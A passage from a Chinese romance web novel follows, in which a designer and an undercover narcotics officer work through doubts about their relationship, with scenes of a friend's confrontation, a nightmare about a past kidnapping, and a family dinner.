“跟然然有什么关系,她应付陆朝也是为了生意啊,你别乱说然然。”乔思嘉脑袋发晕,但理智还在,“说我闺蜜我就跟你急。” “呵,她比我重要?” “当然啦,她比你重要多了,我才认识你多久,我和然然是、是好多好多年的感情了,你能跟我们比、比嘛。”乔思嘉醉醺醺说,“我要好好跟然然学习。” “学习什么?” 乔思嘉说,学习怎么少爱男人一点。 江凛顿住,他是一个刑警,审讯口供的手段也有一套,他追问下去。 乔思嘉将怎么少爱男人一点说得清清楚楚,也将梁然随时准备后撤,是短择沈宗野说得明明白白。 深夜的小区亮着一排路灯。 梁然来时,开门的人是江凛。 她素面朝天的脸精致白皙,看了眼江凛身后:“沈宗野呢?” “沈宗野?你到现在都只叫他卧底的名字是吧。”江凛冷冰冰睨着梁然。 梁然有些意外江凛莫名的火气。 江凛将门关上,往别墅外面走。 梁然抿了抿唇,跟上他的脚步。 “梁然,你有心吗?”江凛停下步子,猛地回头盯着梁然,“淮宗那么爱你,你的心是什么做的?你对他短择,你和他只是玩玩!” 梁然沉默下来。 此刻她不去追究江凛为什么会知道,也没有做任何反驳,她平静地看着江凛。 “你说他爱我,是他说的吗?” “还要说?你眼睛看不出来他爱你吗?如果沈淮宗他不爱你,他会接受你这么荒唐的理由,他会十几个小时不睡觉,忙完了就第一时间跑来找你!是不是你没有心,才看不出来他爱你。” 梁然沉默很久:“你怪我我不介意,是我自己的问题,我确实介意他的职业。” “呵呵,介意他的职业?还记得我们第一次见面,你当时问我认不认识一个叫沈宗野的缉毒警察,我那时就猜到你问的人是淮宗,我怎么告诉你的?我告诉你缉毒警察的平均寿命只有41岁!我以为你接受了这些才接受了淮宗。” 江凛愤恨不平:“你是被吸毒的绑架过,是经历过痛苦,但那些都是林甄带给你的,不是淮宗!他过得有多苦你知道吗?” “他的小时候有多苦,好好的爸爸妈妈离婚了,被他妈妈用一张飞机票打发回国,刚和他爸爸有了点感情他爸就牺牲了。他没过上过好日子,我以为你出现了能带他过一过好日子,但你居然只是和他玩玩。” “梁然,他为了你,沈淮宗他为了你——”堵在喉间的话没有说出口,江凛憋屈愤怒,他是想说沈宗野为了梁然丢掉了一根手指。 江凛事后去王局那里问过,沈宗野是为了救梁然的爸爸,当时毒贩的人已经发现了梁幸均,如果沈宗野不出手,沈宗野那个叫云肖的手下和老单一个手下就会把梁幸均灭口。事后他因为这个视频进了局子,才在那帮毒贩手里头受了教训,丢了那根大拇指。 江凛是很痛惜发小,但他也是一名警察,他知道这个事情换成任何一个卧底警察都会出面,这是他们的职责,何况沈宗野当初救梁幸均时也不是因为那是梁然的爸爸,他根本还不认识梁然。把这件事强加到梁然身上,让她用这件事来对沈宗野愧疚,那就完全背离了警察救人的初衷,也不是沈宗野希望的。 江凛终于还是没有说出这桩事。 他冷笑:“他和我说月亮不会坠落在绿野上,他把你当成高高在上的月亮。看来你真的高贵,的确不会降落。你真不配他这么爱你。” 江凛大步离开。 梁然在夜色里站了很久。 晚风很凉。 …… 别墅的门还开着,客厅也亮着灯,江凛坐在沙发上,还是很气愤。 沈宗野只睡了一个多小时,这几天每天在宿舍中途也就只能断断续续睡觉,他这一觉本来很沉,但惦记着梁然,还是下意识醒了。 沈宗野打开房门出来,看到客厅的江凛和微敞的房门:“梁然还没过来?” 沈宗野看了下腕表,十一点了。 他正要回房间去拿手机,江凛冷冷叫住他:“真看不出来啊,你卑微到这种程度。” 沈宗野挺拔的身躯顿住,回过头。 江凛说:“淮宗,现在的你还是我认识的那个你吗?你要么别和梁然交往,你要想爱她就正大光明爱她,就告诉她你是真的爱上她了。为什么你要和她谈这种恋爱,你们这还算谈恋爱吗?” 沈宗野移开了双眼,他沉默。 “我的事不用你管,你好好对嘉嘉。” “不要我管是吧,我还偏管了。你跟我说说你为什么要答应和她这样交往,你见不得人吗?凭什么干缉毒的就要受歧视!” “梁然没有歧视我。”沈宗野说,“她尊重我的工作,她以前被吸毒的人绑架过,她是受害者。” “她是受害者就可以随便糟蹋你的感情?” “她没有。”沈宗野说,“你别管我的事了,我不希望我影响到你和嘉嘉的感情,梁然很在意她这个闺蜜。” “比在意你还在意嘉嘉是吧?”江凛冷笑,“她对嘉嘉是真爱,对你就是可以随便践踏,你哪里比不上那什么陆总李总,你比这些人强多了!” 沈宗野不想让江凛知道他和梁然这样的关系,不想让江凛质疑梁然,也不想江凛因为他而担心。此刻江凛因为情绪激动脖颈上青筋暴起,眼里也很愤怒。 沈宗野和江凛是自小的邻居,两人同龄,一起长大,一起搬来南城,就算中间沈宗野有六年去了美国,再回来也没有影响过他和江凛的友情,他们俩又读同一所警校,感情也许比有些家庭的亲兄弟还要好。 沈宗野沉默了很久。 “我们俩有一样的童年,但是你比我快乐多了,在美国那段时间我总是会想你,身边实在没有同龄的朋友。江凛,我一直很羡慕你,你有爱你的父母,我挺感谢我们是朋友,我知道你是在担心我。” “可是我不能按照你的想法去谈一段有未来的恋爱,干缉毒的有以后么?” 沈宗野的情绪已经很平静,他说:“我不知道我哪天就会像我爸爸那样牺牲在某个任务里,每次出任务我都不知道归期是什么时候。” “我想爱梁然。和她在一起……我觉得我这一生应该是值了,我应该没有什么遗憾了。她想要什么样的恋爱方式都没关系,只要她肯选择我。” “江凛,我不知道我能站在这里多久,也不知道我能陪梁然多久。就是因为不知道,所以我都想把每一天当成倒计时来过,只要她觉得快乐,我就很快乐。” 沈宗野说完,回房间找手机拨了梁然的电话。 铃声在响,但梁然还没有接。 沈宗野抬起头想问江凛乔思嘉和梁然是不是还在线上讨论工作。 江凛这才冷冷说:“刚刚她来过了,我替你不值,她自己走了。” 沈宗野整个人都是一震,眯起眼眸:“你都说什么了?” “刚刚那些话,我说她配不上你这么爱她。” 沈宗野胸膛起伏,睨着江凛的眼眸几乎想揍人,他自己都舍不得说梁然一句,这些跟梁然又有什么关系。 他狠狠睨了江凛一眼,直接冲出大门,来到梁然的家门外。 第96章 第96章你爱上我了吗? 这个点按门铃会把所有人都吵醒。沈宗野虽然知道密码,可他不敢未经允许闯进梁然的家。 他站在门外,重新拨着梁然的号码,梁然还是没有接听。 沈宗野编辑着文字消息。 「对不起,让江凛误会了你,是我的问题」 「梁然,我在你家门口,能帮我开门么?」 沈宗野还在打字,编辑好的消息刚要发出,房门却开了。 梁然站在门里,客厅没有开灯,过道上的灯映出她的脸,她的双眼似乎有些发红,但脸上一如往常那般清冷平静。 沈宗野紧紧抱住梁然,手臂麦色的皮肤映衬在梁然白皙的后背,她肩头的睡裙吊带险些被他手臂这股力量扯落。 “对不起,是我让江凛误会你了,你别生气。” “梁然,你别生我的气,什么方式能让你高兴你告诉我,我都可以按你的……” “沈宗野,你爱上我了吗?” 沈宗野怔住。 梁然的目光落在他脸上。 沈宗野的视线讳莫如深,梁然一向觉得能看透他,但今晚觉得她有些看不透沈宗野。她以为他喜欢的是她的身体,每次他们做爱的时候,她能看出他对她身体的沉迷,他们彼此都享受着这段单纯的欢喜,但江凛说沈宗野爱她。 从乔思嘉那里回来,梁然就在想这个问题。 沈宗野会对她百依百顺,沈宗野很尊重她,甚至对梁悦也很好。他几次给梁悦和她点外卖送来零食,每次也会给葡萄买小零食,他对她身边的人和宠物都这么关爱。只要他们在一起,他没有哪一刻不会把热腾腾的早餐端到她面前,甚至盘子里那些食物都能摆出可爱又精致的样子。 还有他们彼此融进对方身体时,他的癖好很奇怪,他会吻她的手腕,薄唇的温热烙在她手腕肌肤上,好像驱散了她心底深处曾经在大雨夜被绑吊在树上的恐惧。 乔思嘉那天说,如果他爱你,他会接受你这种方式。 也正是从那天起,梁然开始介意沈宗野的小心翼翼,介意他对她太周到太好。他越是站在他周身这片圣光里,她越觉得她像个品性败坏的坏蛋。 沈宗野站在走廊的逆光下,眼里压着澎湃的深域。 梁然:“为什么不回答?” “如果你不喜欢,你想要我用什么方式来对待你,我都可以。”沈宗野这样说。 梁然忽然觉得这算是一份答案了。 她垂下眼。 江凛说完那些话后她觉得心情很差,心里堵得慌,有些疼。 她并不习惯这样的情绪,像错过沈茹时的那种疼,只是没有那么强烈。像听到梁幸均死讯的那种痛苦,但是也不如失去至亲的那么疼。 她无法形容这种疼痛,很像他们在怀城遇见的那场细雨里,脚裸割破,不会痛不欲生,却弥漫着驱逐不掉的潮湿,熨帖在皮肤上,缠在心脏。 沈宗野忽然看向她身后。 梁然回过头,是梁悦站在客厅的尽头。 梁悦看着他们,少见的有些紧张和担心。 沈宗野浮起笑,低沉的嗓音如常喊了声“悦悦”。 梁悦打了招呼。 梁然:“怎么起来了?” “姐,我听到葡萄的声音,起来看看。” 梁然说:“去睡觉吧。” “先进来。”弯腰从玄关拿出一双拖鞋,梁然往卧室走去。 沈宗野脚步无声跟她进了卧室。 梁然说:“还没有问过你为什么会当一名缉毒警察。” “我爸爸是这个职业。” “你上次也是这么说的。” 沈宗野沉默片刻:“我的警号是我爸的警号,我想完成他未完成的事业。我爸是一名缉毒警,他很勇敢,他算是早期干缉毒干得最稳的一批警察,办过很多大案跨境案,在办最后一个案子的时候他牺牲了。我见他的最后一面是他高高兴兴地告诉我他这次能拿一个一等功,办完这个案子他要调去宣传线做毒品知识普及,然后再换到机关,再去求我妈妈回头,过稳定点的生活。” 梁然要听,沈宗野这一刻就继续说:“他是戴罪牺牲的,牺牲一年后才恢复清誉。我恨毒贩,这世道还有多少毒贩我就想抓多少,我想让这个警号拿一个一等功,活着拿。” 房间里很安静,让沈宗野低沉的声音愈发清晰郑重,这种沉甸甸的郑重压在梁然心头,她听明白了。 很久之后,她只能说一句:“你也很勇敢。” 沈宗野抬头看向梁然,他眼眶里蔓延起了血丝,不知道是因为连续五十几个小时没睡过好觉,还是因为他也在难过。 梁然说:“今晚很晚了,你开车不安全,睡在我这里吧。” 卧室里关了灯,窗帘遮掩窗外一切光源,室内一片漆黑。 梁然背过身睡。 沈宗野滚烫的胸膛覆在她后背,手臂紧紧拥住她的腰。 “你例假没结束吧,今晚喝了酒肚子会疼吗?” “不疼。” 沈宗野沉默一会儿:“以后来了例假能别喝酒吗?” “我尽量。” “梁然,你有什么想对我说吗?” 梁然没有开口。 这一夜过得很漫长,很像宁城的那个除夕,窗外的繁华都与这间漆黑的房间无关。 …… 沈宗野早上走得很早。 清晨五点半,他在梁然睁眼时就已经醒了。 沈宗野拨开梁然额前的头发,亲了亲她额头:“我先回家了,你再睡会儿。” “好。” 屋外阳光照射,室内透进微光,薄弱的光影勾勒他修长身躯,笔挺挺似一支竹。他在床边站了会儿,似乎在等什么。 梁然终于才说:“开车慢点。” 沈宗野也终于浮起一丝紧切的笑。 沈宗野离开了房间。 这几天梁悦带了女同学来家里,他是怕两个女生会不方便才早早走,他顾及着梁然的一切。 梁然没了睡意,打开窗帘,看阳光一寸寸迸进地板。她起床洗漱,化好妆,开始坐到书房办公,直到梁悦过来叫她吃早饭。 梁悦平时都是九点多才醒,这会儿才八点。 “姐,你和哥哥吵架了吗?” “没有啊。”梁然一笑。 “哼,不跟我说。”梁悦说,“我又不是小孩子了,我看得出来他很喜欢你。” 握着签字笔的手指微紧,梁然合上电脑。 到公司的时候,乔思嘉顶着两个红肿的眼眶,见到梁然就委屈巴巴地喊她“然然”。 梁然:“你怎么了?” “江凛欺负我,臭江凛,他早上发了疯把我摇醒,喊我起来跟他对峙!” 事实是早上江凛把她从睡梦里弄醒了,乔思嘉第一次看到江凛那么阴狠的一面,吓坏了,江凛还一边警告她以后还敢不敢说不要他了的话。 乔思嘉也才知道昨晚她喝多后把梁然和沈宗野的秘密捅了出来,睡到早上还说梦话要少爱一点江凛,要少担心他一点,一边又翻身要亲亲抱抱。江凛听到自然很气,直接和她来了真的。他们俩嘴上也没停,一边吵着架,因为梁然的事。 乔思嘉说:“我不想再理他了,我要把他晾到沙漠!什么人啊,趁我醉酒套我的话!” 她又小心留意梁然的表情:“我是不是害你和沈淮宗吵架了?对不起然然,都怪我这个大嘴巴!你骂我吧。” “我们没有吵架。”梁然说,“我不怪你,是我自己的问题。” “你们……你们后面怎么解决的,你们和好了吗?” 梁然抬起眼,有些无措,她第一次这样求助似的望着乔思嘉。 “嘉嘉,我不会吵架,我也不会表达我的想法。对于沈宗野……” 对于他,梁然在说服自己不要对他滋生爱。 她爱上一个缉毒警察对她没有好处。 她一直都很坚决地把这个职业摈弃在她择偶的条件外,她明明之前决定好了如果这段关系发展得不愉快就分开好了,但是昨天晚上望着沈宗野,她竟然会不舍得。 他们在宁城的一切感情都是假的。 但是所有经历又都是真的。 沈宗野一次次地保护过她,因为他是一名警察,所以即便是在海边最危险那次,他也没有放弃过她。是沈宗野把她的命从姜义手底下抢回来,她忘不掉他滑跪到她身前,接住她的那一瞬间。那一道身影,她忘不掉。 可她在得到他职业庇护的同时,却在拒绝他职业的危险性。 乔思嘉并不知道他们的经历,但乔思嘉竟说:“然然,你在工作上这么优秀,思维这么清晰,我不觉得你是不会表达。” “你应该只是在介意他缉毒警的身份吧,他那个职业是好危险,我都不敢谈的,但是你敢,你骨子里是勇敢的啊,你自己不觉得吗?当你纠结的时候可能就是你心动的时候,只是你自己还没发觉吧。” “像沈宗野他们那样危险的职业,我想除非是他救过我的命,不然我绝对不敢硬扑。” 八月下旬的盛夏还是这么燥热,办公室里空调打得低,冷气密不透风落在皮肤上,毛孔里钻着丝丝冷。 梁然一整天都扑在忙碌的工作里头,偶尔走神,她打开电脑上的微信,视线扫过置顶的沈宗野头像,又重新回到一堆设计图纸上。 助理敲门进来,手上抱着一束粉色郁金香。 梁然在这个间隙里想起了陈沥周来。 之前陈沥周每天都这样送来鲜花。 “梁总,这是您的花,卡片上没有写名字。” 助理菲菲唇角有合不拢的笑,还有点八卦的意思。 梁然打开卡片。 「然然,气消了吗? 如果国王与夜莺的故事还成立的话,我想让这个故事继续。」 梁然神情平静,将要寄走的文件交给助理,直到办公室只剩下她,她重新打开卡片,唇角忍不住弯起一抹笑,将卡片拍了照片发给沈宗野。 Zahe:「字真难看」 沈宗野秒回了消息:「不是我写的,花店写的,我下次换家花店」 沈宗野:「今天我下班早,我等下来接你下班」 梁然回复:「下次吧,今天我很忙」 她还没想好怎么继续这段关系。 这束花倒是让梁然想起了陈沥周。 她已经有一个多月没有再收到过陈沥周的信息了,之前拨出去的电话也都没有收到回复,助理菲菲说陈沥周的助理和何詹也都没有联系上陈沥周。 梁然很担心陈沥周。 毕竟陈沥周和她有相似的苦难,在宁城时是真正地关心她。 梁然编辑了信息想发过去,但是想了下还是撤回了。 她翻到陈沥周最后一条微信上,陈沥周说的是他不方便给她打电话,让她等他主动给她回电。 梁然默默祈祷,她希望陈沥周是真的在国外进修,不是因为遭遇什么意外。 这一天的工作忙到很晚。 梁然熄灯睡觉时已经零点了,她竟然做了一个痛苦的噩梦。 她竟又梦到了大二那年被绑架的那个雨夜。 她从市区打的出租车刚好在那条人少的路上爆了胎,离南大还有两公里,司机一时没办法,只能让她先下车。 那里人太少,梁然想穿过旁边的小巷去往路灯更多、道路更宽的地方。 她就在那条巷子里被捂住嘴,有纸巾死死压着她鼻子和嘴唇,她张唇想呼救,但是吃到的都是纸巾,干燥的纸巾紧贴在舌头上,那种滋味竟然那么恐怖,她什么也看不到了。 再睁开眼她就只能看到一团光,是手机微弱的光。 她的脚悬空,手臂被绳索悬在半空,艰难地抬了好一会儿脖子,后颈那么痛,她才知道她被悬空绑挂在树上。 底下的光一点点升近,漆黑的雨夜里照亮那个男生死气沉沉的眼白。 她已经看不清那个男生的脸了,但是她清楚地记得他面部的抽。搐,记得他喃喃自语的两片嘴唇。 一双颤颤的手伸向她,顺着她白色帆布鞋往上摸,蛇一样的手指沾满了黏腻的雨水,冰冰凉凉,抱住她小腿往下拽她。 他说要干。死她,他说就因为禁毒他才买到那么贵的药,他还说了什么,似乎全都是今晚要先怎么弄她,再怎么让她去死的话。 “别碰我,求你了,对不起,对不起,我是无辜的!” “对不起,我不会报警,求你了求你了求求你,不要,爸爸救我——” 疯狂的哭求都被雨声掩盖。 直到那个男生突然抽。搐起来,松开抱着她小腿的双手栽在了地上。 大概是三分钟还是十分钟,他爬起来,像个丧尸歪着脑袋迷窜在树林里。 “不要……” 梁然猛地从这场雨夜里惊醒。 睡裙紧贴皮肤,她浑身的潮湿。 “喵!” 葡萄竟然在床上,弓起背踩到她腿上,小粉鼻子闻她。小猫一向很乖,这会儿却超凶,好像是特意赶来帮她驱走梦魇。 梁然紧紧将葡萄抱到怀里。 她纤细白皙的手臂发抖,不敢抬头,不敢去面临黑夜,不敢面临梦境里那场汹涌雨夜。 她忽然很想沈宗野,想起他吻她手腕时薄唇的温烫。 第97章 第97章苦 第二天,沈宗野在下午时来到了梁然的工作室。 他是第一次来梁然的公司,在楼下先给她发了消息。 梁然正在开会,看到微信内容回复沈宗野:「有时间,你上来吧」。 她结束了会议,亲自在前台等沈宗野。 沈宗野走出电梯,穿过光与影来到梁然面前,他的眼眸深邃,好像有一些小心翼翼,但英隽的面容上神情如常,见到梁然浮起一丝笑。 梁然也抿起红唇,将沈宗野带到她的办公室。 好像他们之间没有昨天微妙的变化。 沈宗野是第一次来梁然这里,整个办公大厅充满了设计感,二十几名员工在各自工位上忙碌。 茶水间设在巨幅落地窗前,泡咖啡的几个员工看到沈宗野一时起了惊呼,几个女员工只敢互相用手肘戳戳彼此,肢体语言写满了“他是谁”的问号。他们的声音吸引了办公的员工,大家看到沈宗野和梁然后也都燃烧起了八卦之魂。 一个人英俊的皮相会首先吸引人,但沈宗野身上有一股无畏英正的气场,这种特殊的磁场很令人滋生好感,尤其是他还站在梁然这么优秀的老板身旁。 大家虽然八卦,但绝对不敢来打听老板的隐私。 “我的办公室在二楼。”梁然往旋转楼梯走。 沈宗野跟在梁然身后。 进了办公室,梁然拉上了百叶窗。 她的桌上是昨天沈宗野送的那束郁金香,沈宗野的目光落在梁然身上:“我就是下午空着,想看一看你。” 事实上沈宗野哪有什么空闲,从他的假期结束后每天就恢复到了之前那种忙碌的状态,出任务、抓毒贩、查卷宗、审犯人,出任务、抓毒贩、查卷宗……不停循环。他可能晚上又要查个案子,不能陪梁然,才在这会儿挤出时间来见一面梁然。 梁然说:“你坐啊。” “你昨晚睡得好吗?”沈宗野没有坐下,停在梁然身前,认真地看她。 “不太好,我做了噩梦。” “怎么不给我打电话,做了什么噩梦?”沈宗野问完便意识到话失妥,让一个人去回忆噩梦和让一个受害者去反复回忆伤害过程是一样的。 沈宗野俯身轻轻抱住了梁然:“下次可以给我打电话。” “如果像上次那样,打不通呢?”梁然问。 沈宗野不知道如何回答。 他根本没办法说出那句“我随时都在”。 梁然的情绪很平静,好像昨晚那些事都不曾发生,她说:“我今晚要加班,不能陪你。” “没关系,我是想看你一眼。” 沈宗野的手臂将梁然圈在他胸膛,他不敢用力,只是轻拥,梁然还是能感受到他心脏热烈的跳动,他紧实胸膛蓬勃的起伏。 她抬起眼凝望沈宗野,也许她需要一段时间来想清楚。 窗外的白昼刺眼又盛大,梁然的眼睛沉默如海。 沈宗野不敢说太多,他所有情绪都藏在深沉的眼眸里,吻了吻梁然头顶:“梁然,闯进江凛组的那个局是我自己去的,我和你之间是我自己甘愿的。你别有负担。” “我想看到的是你快乐。” 这一面后,沈宗野又忙了个案子,在南城一处地下赌场抓毒贩。 办案带的都是执勤手机,他没揣私人手机,等办完案子回局里看手机,他发给梁然的微信消息梁然只是恢复了一个“嗯”。 他们又有两天没见了。 这两天全都是他主动问梁然在做什么,睡觉了吗。梁然没有主动找他,回复的文字也都简短。 沈宗野走到食堂后的院子点燃一支烟,明月当空,他抬头让这轮月映在眼底,薄雾掠过他幽深的眼眸。 谢天明过来问他:“最近怎么回事,今天叫你两遍你都没听到,跟嫂子吵架了?” 沈宗野哂笑:“我怎么舍得跟她吵架。” “那是你惹她生气了?” “算是吧。” “找她赔礼道歉啊,去认个错,梁然是个通情达理的人。” 沈宗野淡淡抽着这支烟,又觉得索然无味,杵灭火星,骨节分明的手指将烟蒂丢进烟柱箱。 谢天明还在用没有经验的方式给沈宗野建议,一边说:“我都还想以后给你俩当证婚人呢,你俩以后结婚了可不能不让我上台讲话……” 沈宗野的手机铃声打断了谢天明的话。 是乔思嘉来了电话。 乔思嘉说:“沈淮宗,你要没老婆了,哦不,你要没女朋友了!” 梁然这会儿喝醉酒了。 今晚陆朝公司高层召开那个高档楼盘的设计评审会,结束后有商务宴席,当时陆朝不在,但他对梁然有意实在明显,被他几个部下看出,大家在宴会上多给梁然敬了酒,也是有意灌醉梁然的意思。梁然平时也不会醉,今晚不知道是因为白酒混着红酒的缘故,还是她实在喝多,已经开始醉了。 乔思嘉打来电话时说陆朝从另一个酒会上赶了过来,要带梁然去酒店。 乔思嘉堆着笑去拦,陆朝很君子地让她放心,说他安顿好梁然就会从酒店离开。 乔思嘉说:“鬼才信,赶紧来吧,来晚了你老婆没了!” 沈宗野一脚油门直接杀到了乔思嘉发来的酒店。 他到时,一辆劳斯莱斯幻影正好停在酒店门口,泊车员根本没顾沈宗野小小的奔驰,直接九十度弯腰去给幻影开车门。 西装革履的陆朝搂着梁然走下车。 梁然整个人往后倾,被陆朝揽到肩头,助理连忙将陆朝的西装外套递过来,陆朝将外套裹在梁然身上。 “把她给我就行。” 沈宗野穿过夜色来到梁然身前,从陆朝手臂上揽过梁然,梁然的头倒在了他肩膀上。她明明是没意识的,但这一刻却不再往后仰,而是在他肩头舒服地依靠。 沈宗野睨着陆朝,眉弓压下深眸里的盛怒,他气场锐利冰冷。 纵使陆朝在生意上再得意,竟在势头上矮了一截。 陆朝淡淡扫一眼梁然:“虽然你是她男朋友,但她现在不清醒,你应该先过问她的意见吧。” “明知她不清醒,那你为什么送她来酒店,不送她回家?” 沈宗野眼眸带着危险的警告:“如果你想合法做生意,我奉劝你别惹她。” 沈宗野将梁然带上了车,乔思嘉在一旁路口等着,沈宗野在她车旁降下车窗,乔思嘉说:“好样的!送到我那里去吧?悦悦看见她姐姐醉成这样也不好啊。” “行,麻烦你了。” 沈宗野开车跟在乔思嘉车后,到了乔思嘉的别墅,将梁然抱下车。 梁然还是闭着眼睛睡着的状态,A摆裙太短,裙摆蹭到沈宗野制式西裤上,沈宗野扯好她裙摆,将梁然打横抱进电梯。 乔思嘉想了下:“诶,住楼上还是楼下啊?要不你留下照顾然然吧,你今晚有时间吗?” 沈宗野晚上还有档案卷宗要查,但也可以把工作交给老孙,下次他再找时间补给老孙,他说:“我今晚有时间。” “那你和然然睡楼下吧,你照顾然然。沈淮宗,你可别让她伤心了,我是在给你机会。” 身为梁然的闺蜜,乔思嘉能看出梁然这两天心情很微妙。乔思嘉还在和江凛冷战,都怪江凛闯了这么大祸,但她也能看出梁然是真的喜欢沈宗野。如果没有这么喜欢,以梁然的性格早就抽身了。 沈宗野朝乔思嘉说了谢谢,将梁然抱进房间。 乔思嘉带上房门时偷偷摸摸瞅了眼,好笑地翘起唇,说实话,她还蛮喜欢嗑闺蜜和沈宗野这对CP的。 …… 灯光昏黄的房间被安静充盈。 沈宗野帮梁然脱掉高跟鞋,用乔思嘉给的卸妆巾替梁然卸妆,他明明是第一次做这些,却细致得没有让一滴水淌湿梁然衣服。做好面部清洁,他用热毛巾捂热梁然冰冷的膝盖,帮她擦起双脚,隔着她衬衫面料解开后背的内衣扣子,替她盖好被子。 梁然睡得很沉,呼吸是疲累的均匀。 这一晚沈宗野没敢怎么睡,担心梁然会不舒服,直到凌晨两点,梁然从睡眠中醒来,呼吸变得很轻。 沈宗野有些紧张的不安,他害怕他的出现让梁然不高兴。 卧室里很黑,梁然摸到了沈宗野,她意外了片刻:“我们在哪儿?” “嘉嘉家里,你醒了,难受么?” “我喝醉了?”梁然问完这句话,脑袋也开始沉甸甸疼。 “你不记得酒桌上发生的事了?他们在灌你酒?”沈宗野低沉的嗓音压着怒气。 梁然说:“不是,我自己喝的。” 那些酒一杯杯敬过来,有几个高层的酒她不方便回拒,今晚的酒有些烈,她以前也喝过烈酒,可能今晚心情不是很好,心上压着和沈宗野的情绪,才醉得这么彻底。 “你来接我的?” “嘉嘉给我打了电话,那个姓陆的原本要带你去酒店,你有印象吗?” 梁然没有印象了。 她握住沈宗野的手,头靠在他肩膀上:“沈宗野,我头疼。” “我去给你买药。” 沈宗野正起身,梁然揽住了他肩膀:“我不想吃药。” “为什么?” “苦。” 沈宗野想说胶囊不会苦,但他知道也许梁然介意的苦不是药的苦。 他说:“我去给你倒点水。” 他在乔思嘉家冰箱里找到蜂蜜,化了蜂蜜水给梁然喝。 梁然捧着杯子都喝完,身体的渴缓解很多。 她重新靠着沈宗野睡了过去。 沈宗野一夜没睡,担心梁然半夜会不舒服。 夜晚的漫长流淌在她温柔的呼吸下,沈宗野很喜欢抱着梁然的身体,她浑身软软的,又带着那股寂雪的兰香。 第98章 第98章一滴泪 早上的时候,沈宗野做好了早餐,梁然还在睡觉,今天是她的周末,她难得可以睡这么久。 乔思嘉下楼时,沈宗野说:“先别叫她,你先吃早餐吧,桌上有我给然然买的药,要是她醒来不舒服你盯着她吃一颗药。” 乔思嘉对沈宗野的行为还算满意:“你要走啊?” “嗯,要回局里加班,麻烦你了。” “吃个早餐再走嘛。” “不了。” 沈宗野离开了这里。 梁然醒来时已经十点多了。 乔思嘉将早餐在微波炉里加热,餐盘里摆放的食物很是精致,从微波炉里端出来时也是原封不动。 乔思嘉好笑:“然然,你每天早上都吃得这么好?” 法式瓷碟里的早餐营养又低脂,梁然点头。 “幸福死了,江凛和沈淮宗一比他真是什么才艺都没有,除了体力好脸能看没别的优点了!”乔思嘉说,“沈淮宗还挺避嫌嘛,做完早饭吃都没吃,看我下楼就撤了。” 梁然忍不住一笑。 昨晚那杯蜂蜜水让她已经不再头痛,睡足了觉精神也好,她从乔思嘉这里步行回到家,梁悦已经醒来,在客厅里挼着葡萄看动漫。 梁悦见到梁然问:“姐,你昨晚跟嘉嘉姐在一起啊。” “嗯,刚从她那里回来,你午饭想吃什么?” “我叫季姨做了。”梁悦说,“我明天就要回去了,你明天有时间送我回学校报道嘛?” “可以,我明天送你回学校。” 梁悦要开学了,提前两天回怀城报道。 这个暑假竟过得这么快,梁然才发现自从沈宗野的假期结束后他们一直都没有再像之前那样每天亲密地在一起。 “今天哥哥可以陪我玩吗?我想走之前再和你们吃顿饭。” 梁然默了片刻:“他工作忙,我先问他。” 梁然回到房间换下了乔思嘉的衣服,她本来是想给沈宗野去电话,但乔思嘉说早上看沈宗野似乎昨晚没怎么睡。梁然于是等一个小时后才给沈宗野发了条微信。 …… 沈宗野早上一回局里就开始忙着查档案卷宗,在宿舍睡了两个小时又回到办公室查案,正准备和谢天明去戒毒所发展个线人时收到梁然的微信。 梁然:「沈宗野,你今天有时间吗?」 沈宗野将档案袋丢给谢天明,骨节修长的手指专注打字:「有时间」 沈宗野:「然然,你几点醒的,还有不舒服么?」 梁然的消息回得也快。 梁然:「十点多醒的,头不疼了,悦悦要开学了,她走之前想问你有没有时间和你吃个饭。」 沈宗野弯起薄唇:「有时间,今天还是明天?我把时间空出来。」 梁然:「今天下午或者晚上,看你时间来」 沈宗野收起手机,抬头时对上谢天明揶揄的眼神。 沈宗野:“晚上你帮我值班,下次还你。” “你还欠老孙呢,又开始欠上我了。” 沈宗野薄唇愉悦地扬起。 原本到了傍晚沈宗野正要离开,王有为突然下达任务,临时收到一条毒贩交易的线索,召集大家马上出警。 大家都开始迅速更换服装。 沈宗野对王有为说:“叔,今晚我不能上。” “你怎么不能?” “我有私事。” 王有为问沈宗野是什么事。 沈宗野说个人的事。 王有为:“你妈从美国回来了?” “不是。” “那还有什么事?” 沈宗野说:“我答应了梁然今晚要去找她。” 王有为有些恨铁不成钢,干缉毒的,又长期处在高位,王有为盯人时气场威严强势,几乎是咬牙切齿地训沈宗野:“非得今晚去,她比抓毒贩都重要了?” “和抓毒贩不能对等,这么相提并论不严谨,跟梁然没关系,是我答应了她赴约。”沈宗野迎上王有为的视线,“叔,我已经错过她很多次了,我不想再失约。两名毒贩相信A组其他同事出马能办,我必须先撤了。” 王有为冷哼:“小崽子,我看她迟早会拖累了你,你别到头来落到个什么都没有的下场。” “没有人会拖累我。而且我已经拥有了。”沈宗野平静地说。 他在王有为的愣神里离开了大楼。 梁然和梁悦定的餐厅在一处商场附近。 沈宗野开车过去时还是因为堵车耽误了五分钟。 他到时餐桌上已经点好了菜,梁然和梁悦并排坐在一起,他坐到对面。 “不好意思悦悦,路上堵车,我迟到了。” 梁悦笑着说没关系,问他还还点什么菜。 梁然将菜单给沈宗野。 沈宗野询问她和梁悦:“你们还想吃什么?” “点完了,你加你想吃的就好。”梁然说。 餐桌上已经有他喜欢的笋,沈宗野没有再加菜:“先吃饭吧,悦悦等下想去哪里玩,还玩夹娃娃?” “我就知道你懂我!”梁悦并不排斥沈宗野,甚至在上次沈宗野帮她夹到很多战利品后对沈宗野还比较崇拜,梁悦眼睛闪亮,“选在这里就是方便等下去玩。哥哥,等下我们去玩密室逃脱吧!” 沈宗野看向梁然,说都可以。 梁然一直都是微笑的状态,她维系这种淡笑时依旧给人高不可攀的清冷。 反观梁悦放松愉悦,身上带着自小被宠到大的大胆,有一种天塌下来也有姐姐撑着的安全感。 梁悦是个幸福的女生,而梁然不一样,她明明同样是女生,却冷静内敛,时刻要撑起责任。 餐厅灯光是旖旎的昏黄暗调,音乐低沉持续,沈宗野收纳着梁然的一切,他忽然很自责,不知道怎么让梁然高兴。 密室逃脱就在旁边商场楼上。 梁悦带着他们找到地方,选了恐怖系数和难度系数满星的一个项目玩。 “姐,你没问题吧?” 工作人员讲解着:“根据我们的玩家反馈这个不算刺激恐怖,只是推理难度比较大一点。” 梁然说:“我没问题。” 沈宗野买了单,梁悦兴冲冲地推开第一扇门。 给题墙上的推理题目梁然一眼就算出来了,她抬头看沈宗野。 沈宗野也好笑地勾起薄唇,这种推演对他来说完全没有难度。 